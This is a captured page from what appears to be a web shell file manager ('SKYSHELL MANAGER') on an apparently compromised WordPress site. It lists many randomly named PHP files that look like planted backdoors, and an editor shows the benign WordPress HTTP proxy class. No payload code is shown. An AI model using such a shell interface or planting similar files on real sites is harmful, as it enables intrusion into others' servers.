📁
SKYSHELL MANAGER-
🛒
PHP v8.3.27
Create Folder
Create File
Current Path:
www
/
wwwroot
/
top9nhacai.win
/
Name
Size
Permissions
Actions
📁
..
-
0777
🗑️
🔒
📁
52e594
-
0755
🗑️
🔒
📁
685e7
-
0555
🗑️
🔒
📁
752755
-
0755
🗑️
🔒
📁
e9c0a8
-
0755
🗑️
🔒
📁
wp-admin
-
0755
🗑️
🔒
📁
wp-content
-
0755
🗑️
🔒
📁
wp-includes
-
0755
🗑️
🔒
📄
.htaccess
1.13 KB
0555
🗑️
⬇️
✏️
🔒
📄
404.html
56.93 KB
0644
🗑️
⬇️
✏️
🔒
📄
502.html
56.93 KB
0644
🗑️
⬇️
✏️
🔒
📄
ORVX-0lBLxG.php
399.32 KB
0644
🗑️
⬇️
✏️
🔒
📄
au_122d0be7.php
24.37 KB
0644
🗑️
⬇️
✏️
🔒
📄
au_a7e73425.php
1.89 KB
0644
🗑️
⬇️
✏️
🔒
📄
au_e37f8d6e.php
166.08 KB
0644
🗑️
⬇️
✏️
🔒
📄
b.htm
1.83 KB
0444
🗑️
⬇️
✏️
🔒
📄
buy.php
1.45 KB
0444
🗑️
⬇️
✏️
🔒
📄
click.php
2.03 KB
0444
🗑️
⬇️
✏️
🔒
📄
cqhknhks.php
166.15 KB
0644
🗑️
⬇️
✏️
🔒
📄
defaults.php
1.93 KB
0444
🗑️
⬇️
✏️
🔒
📄
features.php
9.12 KB
0644
🗑️
⬇️
✏️
🔒
📄
fr_fafd9474.php
168.08 KB
0644
🗑️
⬇️
✏️
🔒
📄
ggrodwtv.php
18.42 KB
0644
🗑️
⬇️
✏️
🔒
📄
goods.php
1.43 KB
0444
🗑️
⬇️
✏️
🔒
📄
index.php
12.44 KB
0555
🗑️
⬇️
✏️
🔒
📄
index.php0
12.44 KB
0755
🗑️
⬇️
✏️
🔒
📄
it_05f98c69.php
166.08 KB
0644
🗑️
⬇️
✏️
🔒
📄
it_0a6eaac8.php
216.49 KB
0644
🗑️
⬇️
✏️
🔒
📄
item.php
1.87 KB
0444
🗑️
⬇️
✏️
🔒
📄
ixdqywtw.php
18.42 KB
0644
🗑️
⬇️
✏️
🔒
📄
license.txt
19.44 KB
0644
🗑️
⬇️
✏️
🔒
📄
link-logs.txt
5.25 KB
0644
🗑️
⬇️
✏️
🔒
📄
lufix.php
52.9 KB
0644
🗑️
⬇️
✏️
🔒
📄
lvvdkhrb.php
0.12 KB
0644
🗑️
⬇️
✏️
🔒
📄
mah.php
1.93 KB
0444
🗑️
⬇️
✏️
🔒
📄
mswe.php
3.61 KB
0644
🗑️
⬇️
✏️
🔒
📄
networks.php
1.29 KB
0444
🗑️
⬇️
✏️
🔒
📄
nwkkfoba.php
399.31 KB
0644
🗑️
⬇️
✏️
🔒
📄
oifyfcbh.php
18.46 KB
0644
🗑️
⬇️
✏️
🔒
📄
options.php
1.87 KB
0444
🗑️
⬇️
✏️
🔒
📄
otfuytiw.php
18.42 KB
0644
🗑️
⬇️
✏️
🔒
📄
php.ini
0.1 KB
0644
🗑️
⬇️
✏️
🔒
📄
plsxymuf.php
0.12 KB
0644
🗑️
⬇️
✏️
🔒
📄
plugins.php
1.72 KB
0444
🗑️
⬇️
✏️
🔒
📄
product.php
1.29 KB
0444
🗑️
⬇️
✏️
🔒
📄
qfpdycgt.php
18.42 KB
0644
🗑️
⬇️
✏️
🔒
📄
rbtuhvuc.php
18.46 KB
0644
🗑️
⬇️
✏️
🔒
📄
readme.html
7.25 KB
0644
🗑️
⬇️
✏️
🔒
📄
readme.txt
0.02 KB
0444
🗑️
⬇️
✏️
🔒
📄
robots.txt
0.36 KB
0444
🗑️
⬇️
✏️
🔒
📄
ru_9a7b823f.php
70.78 KB
0644
🗑️
⬇️
✏️
🔒
📄
rvznaugl.php
18.42 KB
0644
🗑️
⬇️
✏️
🔒
📄
system_core.php
7.06 KB
0644
🗑️
⬇️
✏️
🔒
📄
ticket.php
0.78 KB
0644
🗑️
⬇️
✏️
🔒
📄
unkvsalk.php
18.42 KB
0644
🗑️
⬇️
✏️
🔒
📄
us_a54f0f43.php
53 KB
0644
🗑️
⬇️
✏️
🔒
📄
vomopxyi.php
399.31 KB
0644
🗑️
⬇️
✏️
🔒
📄
vumtgtog.php
18.42 KB
0644
🗑️
⬇️
✏️
🔒
📄
wp-activate.php
7.18 KB
0644
🗑️
⬇️
✏️
🔒
📄
wp-blog-header.php
0.34 KB
0644
🗑️
⬇️
✏️
🔒
📄
wp-comments-post.php
2.27 KB
0644
🗑️
⬇️
✏️
🔒
📄
wp-config-sample.php
3.26 KB
0644
🗑️
⬇️
✏️
🔒
📄
wp-config.php
3.59 KB
0644
🗑️
⬇️
✏️
🔒
📄
wp-corm.php
77.95 KB
0644
🗑️
⬇️
✏️
🔒
📄
wp-cron.php
5.49 KB
0644
🗑️
⬇️
✏️
🔒
📄
wp-links-opml.php
2.43 KB
0644
🗑️
⬇️
✏️
🔒
📄
wp-load.php
3.84 KB
0644
🗑️
⬇️
✏️
🔒
📄
wp-log1n.php
1.93 KB
0444
🗑️
⬇️
✏️
🔒
📄
wp-login.php
5.96 KB
0644
🗑️
⬇️
✏️
🔒
📄
wp-mail.php
0.18 KB
0644
🗑️
⬇️
✏️
🔒
📄
wp-settings.php
30.33 KB
0644
🗑️
⬇️
✏️
🔒
📄
wp-signup.php
33.71 KB
0644
🗑️
⬇️
✏️
🔒
📄
wp-trackback.php
5.09 KB
0644
🗑️
⬇️
✏️
🔒
📄
xkuxbxlv.php
166.15 KB
0644
🗑️
⬇️
✏️
🔒
📄
xmlrpc.php
3.13 KB
0644
🗑️
⬇️
✏️
🔒
Editing: class-wp-http-proxy.php
<?php /** * HTTP API: WP_HTTP_Proxy class * * @package WordPress * @subpackage HTTP * @since 4.4.0 */ /** * Core class used to implement HTTP API proxy support. * * There are caveats to proxy support. It requires that defines be made in the wp-config.php file to * enable proxy support. There are also a few filters that plugins can hook into for some of the * constants. * * Please note that only BASIC authentication is supported by most transports. * cURL MAY support more methods (such as NTLM authentication) depending on your environment. * * The constants are as follows: * <ol> * <li>WP_PROXY_HOST - Enable proxy support and host for connecting.</li> * <li>WP_PROXY_PORT - Proxy port for connection. No default, must be defined.</li> * <li>WP_PROXY_USERNAME - Proxy username, if it requires authentication.</li> * <li>WP_PROXY_PASSWORD - Proxy password, if it requires authentication.</li> * <li>WP_PROXY_BYPASS_HOSTS - Will prevent the hosts in this list from going through the proxy. * You do not need to have localhost and the site host in this list, because they will not be passed * through the proxy. The list should be presented in a comma separated list, wildcards using * are supported. Example: *.wordpress.org</li> * </ol> * * An example can be as seen below. * * define('WP_PROXY_HOST', '192.168.84.101'); * define('WP_PROXY_PORT', '8080'); * define('WP_PROXY_BYPASS_HOSTS', 'localhost, www.example.com, *.wordpress.org'); * * @link https://core.trac.wordpress.org/ticket/4011 Proxy support ticket in WordPress. * @link https://core.trac.wordpress.org/ticket/14636 Allow wildcard domains in WP_PROXY_BYPASS_HOSTS * * @since 2.8.0 */ #[AllowDynamicProperties] class WP_HTTP_Proxy { /** * Whether proxy connection should be used. * * Constants which control this behavior: * * - `WP_PROXY_HOST` * - `WP_PROXY_PORT` * * @since 2.8.0 * * @return bool */ public function is_enabled() { return defined( 'WP_PROXY_HOST' ) && defined( 'WP_PROXY_PORT' ); } /** * Whether authentication should be used. * * Constants which control this behavior: * * - `WP_PROXY_USERNAME` * - `WP_PROXY_PASSWORD` * * @since 2.8.0 * * @return bool */ public function use_authentication() { return defined( 'WP_PROXY_USERNAME' ) && defined( 'WP_PROXY_PASSWORD' ); } /** * Retrieve the host for the proxy server. * * @since 2.8.0 * * @return string */ public function host() { if ( defined( 'WP_PROXY_HOST' ) ) { return WP_PROXY_HOST; } return ''; } /** * Retrieve the port for the proxy server. * * @since 2.8.0 * * @return string */ public function port() { if ( defined( 'WP_PROXY_PORT' ) ) { return WP_PROXY_PORT; } return ''; } /** * Retrieve the username for proxy authentication. * * @since 2.8.0 * * @return string */ public function username() { if ( defined( 'WP_PROXY_USERNAME' ) ) { return WP_PROXY_USERNAME; } return ''; } /** * Retrieve the password for proxy authentication. * * @since 2.8.0 * * @return string */ public function password() { if ( defined( 'WP_PROXY_PASSWORD' ) ) { return WP_PROXY_PASSWORD; } return ''; } /** * Retrieve authentication string for proxy authentication. * * @since 2.8.0 * * @return string */ public function authentication() { return $this->username() . ':' . $this->password(); } /** * Retrieve header string for proxy authentication. * * @since 2.8.0 * * @return string */ public function authentication_header() { return 'Proxy-Authorization: Basic ' . base64_encode( $this->authentication() ); } /** * Determines whether the request should be sent through a proxy. * * We want to keep localhost and the site URL from being sent through the proxy, because * some proxies can not handle this. We also have the constant available for defining other * hosts that won't be sent through the proxy. * * @since 2.8.0 * * @param string $uri URL of the request. * @return bool Whether to send the request through the proxy. */ public function send_through_proxy( $uri ) { $check = parse_url( $uri ); // Malformed URL, can not process, but this could mean ssl, so let through anyway. if ( false === $check ) { return true; } $home = parse_url( get_option( 'siteurl' ) ); /** * Filters whether to preempt sending the request through the proxy. * * Returning false will bypass the proxy; returning true will send * the request through the proxy. Returning null bypasses the filter. * * @since 3.5.0 * * @param bool|null $override Whether to send the request through the proxy. Default null. * @param string $uri URL of the request. * @param array $check Associative array result of parsing the request URL with `parse_url()`. * @param array $home Associative array result of parsing the site URL with `parse_url()`. */ $result = apply_filters( 'pre_http_send_through_proxy', null, $uri, $check, $home ); if ( ! is_null( $result ) ) { return $result; } if ( 'localhost' === $check['host'] || ( isset( $home['host'] ) && $home['host'] === $check['host'] ) ) { return false; } if ( ! defined( 'WP_PROXY_BYPASS_HOSTS' ) ) { return true; } static $bypass_hosts = null; static $wildcard_regex = array(); if ( null === $bypass_hosts ) { $bypass_hosts = preg_split( '|,\s*|', WP_PROXY_BYPASS_HOSTS ); if ( str_contains( WP_PROXY_BYPASS_HOSTS, '*' ) ) { $wildcard_regex = array(); foreach ( $bypass_hosts as $host ) { $wildcard_regex[] = str_replace( '\*', '.+', preg_quote( $host, '/' ) ); } $wildcard_regex = '/^(' . implode( '|', $wildcard_regex ) . ')$/i'; } } if ( ! empty( $wildcard_regex ) ) { return ! preg_match( $wildcard_regex, $check['host'] ); } else { return ! in_array( $check['host'], $bypass_hosts, true ); } } }
💾 Save Changes